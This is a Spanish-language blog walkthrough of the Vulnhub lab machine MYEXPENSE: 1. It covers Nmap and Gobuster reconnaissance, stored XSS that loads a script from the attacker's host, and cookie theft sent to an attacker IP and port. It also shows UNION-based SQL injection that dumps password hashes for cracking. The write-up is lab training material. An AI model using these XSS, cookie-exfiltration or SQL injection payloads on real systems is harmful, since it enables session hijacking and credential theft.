Rug4lo


Hacker • Red teamer • Pentester




Vulnhub - MYEXPENSE: 1

Contenido

Reconocimiento

Primero que todo con el whichsistem.py comprobamos si estamos ante una maquina linux o windows

En este caso nos reportara que la maquina es linux

whichSystem.py 192.168.1.30

Seguidamente aplicamos un reconocimiento con Nmap

nmap -p- --open -T5 -sS -min-rate 5000 -vvv -n -Pn -oG allPorts 192.168.1.30

Todo esto ira a un archivo llamado allPorts, con este comando podremos ver la información mas fácil mente

extractPorts allPorts

Ahora que sabemos cuales puertos están abiertos podemos mandar con Nmap un conjunto de scripts de reconocimiento para verificar si alguno tiene una vulnerabilidad

  • El -sCV es para juntar el -sC y el -sV en uno
  • El -oN es para que nos exporte el resultado a un archivo targeted
nmap -sCV -p80,51045,51193,54585,59179 192.168.1.30 -oN targeted

Ahora vamos a hacer fuzzing con Gobuster para descubrir los directorios y archivos de esta web

gobuster dir -u http://192.168.1.30 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

Esto nos mostrara lo siguiente:

expense

Este escaneo nos ha mostrado una serie de directorios bastante interesantes, como el /admin

Nos vamos al /admin y con wapalicer podremos ver que la pagina usa PHP como lenguaje principal

Sabiendo esto podemos volver a usar Gobuster para hacer un análisis al /admin en busca de algún archivo PHP

gobuster dir -u http://192.168.1.30/admin/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php

Esto nos reportara un archivo admin.php

expense

Si nos metemos en este archivo podremos ver algunas credenciales

expense

Ahora vamos a crear una cuenta, ciclamos en donde pone “no tienes una cuenta” y metemos las credenciales

Pero cuando vamos a crear la cuenta vemos que el botón esta desactivado

expense

Por lo que vamos a irnos al modo inspección (cntrl + shift + c) y modificar el botón de desabilitado a habilitado

expense

Así podremos crear el usuario sin problemas

Explotación

Ahora que hemos comprobado que se puede crear el usuario podemos intentar insertar código JavaScript al crear este usuario (para que al abrir el admin.php nos ejecute este código en el parámetro del nombre o del apellido)

expense

Ahora refescamos la pagina y comprobamos que efectivamente nos sale una alerta

expense

Ahora vamos a comprobar que podemos recibir información:

  • Primero abrimos un servidor HTTP por el puerto 80
python -m http.server 80
  • Ahora creamos un usuario al que en vez de nombre y apellidos le insertamos este código:
<script src="http://192.168.1.25/pwned.js"></script>
  • Esto hará que el administrador este haciendo constantemente peticiones a nuestro servidor en el puerto 80 buscando el pwned.js

Una vez tenemos esto podemos crear el pwned.js, en este pondremos las instrucciones para que nos habilite el usuario que tenemos desabilitado

expense

Si clicamos donde pone inactive veremos que tramita una petición para activar el usuario pero como no tenemos permisos no nos deja

Así que vamos a hacer que el pwned.js nos tramite la petición como el usuario admin cuando este lo ejecute:

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.30/admin/admin.php?id=15&status=active');
request.send();

Esto hará que nos podamos conectar como Samuel ya que tenemos sus credenciales

Una vez que nos logeamos podemos ver como tienen un chat interno, y nos falta por tramitar la petición del pago.

Hacemos la petición del pago y ahora tenemos que conseguir un usuario con mas privilegios para aceptarlo

Si nos fijamos nuestro superior es Manon, y tenemos un chat con el, asiq podremos colarle un XSS por el chat, que nos conecte a nuestra maquina pidiendo el pwned.js por el 4646

expense

En el pwned.js pondremos el código que nos mandara la cookie de sesión de esta persona cuando entre al chat (en este caso es la pagina de inicio)

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.25:4646/?cookie=' + document.cookie);
request.send();

Esto nos dará su cookie, ahora hay que sustituirla en nuestro navegador y aceptar el pago

expense

Ahora que hemos validado el pago tenemos que aceptarlo, pero este usuario no tiene permisos suficientes, asiq vamos a hacernos con la cuenta del jefe de Manon el cual es un “Financial approver” por lo cual tendrá permisos para aceptar el tramite

Esta vez este usuario no mira el chat, por lo que va a ser difícil hacer un XSS

Pero esta parte de la pagina es venerable a una SQL Injection por lo que o vamos a aprovechar

expense

En esta parte de aquí es donde inyectaremos el código SQL

expense

Iremos probando pero acabaremos viendo que la query interna de servidor, en la parte del id = 2 no tiene comillas

Por lo que nos podemos aprovechar de esto para primero averiguar el numero de columnas que tiene (vamos probando hasta que no nos de error)

?id = 2 order by 2

Sabiendo que tiene dos columnas podemos usar un union select para representar algunos datos

?id = 2 union select 1,user()-- -

expense

Ahora podremos usar lo mismo para listar las bases de datos existentes

?id = 2 union select 1,schema_name from information_schema.schemata-- -

expense

Ahora listamos las tablas de la base de datos myexpense

expense

Y listamos las columnas de la tabla user

expense

Ahora podemos listar la información de los campos username y password separados por dos puntos (0x3a)

expense

Copiamos todo y lo ponemos mas legible en el terminal, se vería así:

expense

Como las contraseñas están encriptadas podemos usar esta para para desencriptarlas –> https://hashes.com/en/decrypt/hash

expense

Vemos que están encriptadas en MD5SUM

Probamos con la contraseña del financial aprover y es “HackMe”

expense

Nos logeamos como el y aceptamos el importe

expense

Una vez hecho esto nos podemos meter en la cuenta de Samuel y ver como nos dan la flag y el pedido esta completado ; )



Recent

HTB - Jupiter

Resolucion de la maquina Jupiter - Medium

PostgreSQL Query ExploitationMultiple Privilege Escalation
Recent

HTB - Zipping

Resolucion de la maquina Zipping - Medium

SQLISQLI to RCE